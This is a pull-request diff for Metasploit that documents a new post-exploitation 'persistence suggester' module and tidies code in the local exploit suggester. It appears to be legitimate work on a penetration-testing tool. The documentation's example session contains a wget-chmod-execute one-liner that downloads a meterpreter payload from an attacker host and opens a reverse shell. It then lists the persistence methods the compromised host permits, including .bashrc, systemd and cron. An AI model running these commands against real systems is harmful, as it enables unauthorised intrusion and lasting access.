Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
178 changes: 178 additions & 0 deletions documentation/modules/post/multi/recon/persistence_suggester.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,178 @@
## Vulnerable Application

This module suggests persistence modules that can be used.
The modules are suggested based on the architecture and platform
that the user has a shell opened as well as the available exploits
in meterpreter.
It's important to note that not all modules will be checked.
Exploits are chosen based on these conditions: session type,
platform, architecture, and required default options.

## Verification Steps

1. Start msfconsole
2. Get a shell/meterpreter on a box
3. Do: `use post/multi/recon/persistence_suggester`
4. Do: `set session #`
5. Do: `run`
6. You should get information about which persistence modules will work.

## Options

### ValidateArch

This option lets us toggle whether or not a mismatch in session and module architecture should be validated or ignored.

### ValidatePlatform

This option lets us toggle whether or not a mismatch in session and module platform should be validated or ignored.

### ValidateMeterpreterCommands

This option lets us toggle whether or not Meterpreter commands that are missing from the current Meterpreter implementation should be validated or ignored.

### Colors

Similar to the option used for `HttpTrace`. This lets us change the colors used to show valid, invalid and ignored options or incompatibilities. Unsetting this option results in no colored output.
Defaults to `grn/red/blu`. Additional options are [here](https://github.com/rapid7/rex-text/blob/a72151d409cd812978f63ad0c330efbc8f44b977/lib/rex/text/color.rb#L13)

## Scenarios

### Ubuntu 24.04 User Shell

#### User Shell

```
└─$ ./msfconsole -q
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO fTSGK2Dy --no-check-certificate http://1.1.1.1:8082/l; chmod +x fTSGK2Dy; ./fTSGK2Dy& disown
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:34530) at 2025-09-23 16:35:57 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 24.04 (Linux 6.8.0-31-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: ubuntu
meterpreter > background
[*] Backgrounding session 1...
```

#### Persistence Suggester

```
msf exploit(multi/script/web_delivery) > use post/multi/recon/persistence_suggester
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf post(multi/recon/persistence_suggester) > set session 1
session => 1
msf post(multi/recon/persistence_suggester) > exploit
[*] 2.2.2.2 - Collecting persistence modules for x64/linux...
[*] 2.2.2.2 - The following 15 exploit checks are being tried:
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager
[*] 2.2.2.2 - exploit/linux/persistence/autostart
[*] 2.2.2.2 - exploit/linux/persistence/bash_profile
[*] 2.2.2.2 - exploit/linux/persistence/docker_image
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc
[*] 2.2.2.2 - exploit/linux/persistence/init_systemd
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin
[*] 2.2.2.2 - exploit/linux/persistence/motd
[*] 2.2.2.2 - exploit/linux/persistence/rc_local
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager
[*] 2.2.2.2 - exploit/multi/persistence/at
[*] 2.2.2.2 - exploit/multi/persistence/cron
[*] 2.2.2.2 - exploit/multi/persistence/joplin_plugin
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin
[*] 2.2.2.2 - exploit/windows/persistence/image_exec_options
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager: The target is not exploitable. /etc/apt/apt.conf.d/ not writable
[*] 2.2.2.2 - exploit/linux/persistence/autostart: The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
[+] 2.2.2.2 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
[*] 2.2.2.2 - exploit/linux/persistence/docker_image: The target is not exploitable. docker is required
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc: The target is not exploitable. /etc/init.d/ isnt writable
[+] 2.2.2.2 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin: The target is not exploitable. Kate not found
[*] 2.2.2.2 - exploit/linux/persistence/motd: The target is not exploitable. /etc/update-motd.d/ is not writable
[*] 2.2.2.2 - exploit/linux/persistence/rc_local: The target is not exploitable. /etc/ isnt writable
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager: The target is not exploitable. /usr/local/bin/ not writable
[*] 2.2.2.2 - exploit/multi/persistence/at: The target is not exploitable. does not exist
[+] 2.2.2.2 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin: The target is not exploitable. No vaults found

[*] 2.2.2.2 - Valid modules for session 1:
============================

# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
Comment on lines +137 to +139
Copy link
Contributor

@adfoster-r7 adfoster-r7 Sep 25, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What are your thoughts on enhancing the vulnerable column to treat the check codes a bit differently (we can update the exploit suggester later too if that makes sense as well)

      Msf::Exploit::CheckCode::Vulnerable => Verified
      Msf::Exploit::CheckCode::Appears => Yes
      Msf::Exploit::CheckCode::Detected => Yes
      others => No

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't believe any persistence module actually returns Vulnerable, they should all be Appears, Detected, and Safe. Since most of them rely on an event (user click, service restart, box restart, etc I think its unlikely that a module would actually exploit it to prove Vulnerable

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think there are some Windows persistence modules, which do return Vulnerable - e.g. registry_persistence.rb. In any case, maybe the acceptable modules should be sorted according to their check codes? Maybe something like Vulnerable > Appears > Detected ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

windows persistence is a nightmare at the moment. I tried to unclutter it and gave up, @dledda-r7 also tried, and its just a jumbled mess of bleh. several modules overlap, there aren't clear boundaries etc.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

regardless, i mean that sounds fine

2 exploit/linux/persistence/init_systemd Yes The target appears to be vulnerable. /tmp/ is writable and system is systemd based
3 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
4 exploit/linux/persistence/apt_package_manager No The target is not exploitable. /etc/apt/apt.conf.d/ not writable
5 exploit/linux/persistence/autostart No The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
6 exploit/linux/persistence/docker_image No The target is not exploitable. docker is required
7 exploit/linux/persistence/init_openrc No The target is not exploitable. /etc/init.d/ isnt writable
8 exploit/linux/persistence/kate_plugin No The target is not exploitable. Kate not found
9 exploit/linux/persistence/motd No The target is not exploitable. /etc/update-motd.d/ is not writable
10 exploit/linux/persistence/rc_local No The target is not exploitable. /etc/ isnt writable
11 exploit/linux/persistence/yum_package_manager No The target is not exploitable. /usr/local/bin/ not writable
12 exploit/multi/persistence/at No The target is not exploitable. does not exist
13 exploit/multi/persistence/obsidian_plugin No The target is not exploitable. No vaults found


[*] 2.2.2.2 - Current Session Info:
[*] 2.2.2.2 - Session Type: meterpreter
[*] 2.2.2.2 - Architecture: x64
[*] 2.2.2.2 - Platform: linux
[*] 2.2.2.2 - Incompatible modules for session 1:
===================================

# Name Reasons Platform Architecture Session Type
- ---- ------- -------- ------------ ------------
1 exploit/multi/persistence/joplin_plugin Not Compatible (platform) Unix cmd meterpreter, shell
2 exploit/windows/persistence/image_exec_options Missing required module options (IMAGE_FILE). Not Compatible (platform) Windows No defined architectures meterpreter

[*] Post module execution completed
msf post(multi/recon/persistence_suggester) > notes

Notes
=====

Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2025-09-23 20:29:52 UTC 2.2.2.2 persistence.suggested_module {"exploit/linux/persistence/bash_profile"=>"The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc",
"exploit/linux/persistence/init_systemd"=>"The target appears to be vulnerable. /tmp/ is writable and system is systemd based",
"exploit/multi/persistence/cron"=>"The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found"}
2025-09-23 20:35:56 UTC 2.2.2.2 host.os.session_fingerprint {:name=>"2.2.2.2", :os=>"Ubuntu 24.04 (Linux 6.8.0-31-generic)", :arch=>"x64"}
```
5 changes: 3 additions & 2 deletions modules/post/multi/recon/local_exploit_suggester.rb
Original file line number Diff line number Diff line change
Expand Up @@ -73,9 +73,10 @@ def is_session_type?(mod)
end

def is_module_platform?(mod)
platform_obj = Msf::Module::Platform.find_platform session.platform
return false if mod.target.nil?

platform_obj = Msf::Module::Platform.find_platform session.platform

module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms
module_platforms.include? platform_obj
rescue ArgumentError => e
Expand Down Expand Up @@ -260,7 +261,7 @@ def run
report_note(
host: session.session_host,
type: 'local.suggested_exploits',
data: { :suggested_exploits => report_data }
data: { suggested_exploits: report_data }
)
end

Expand Down
Loading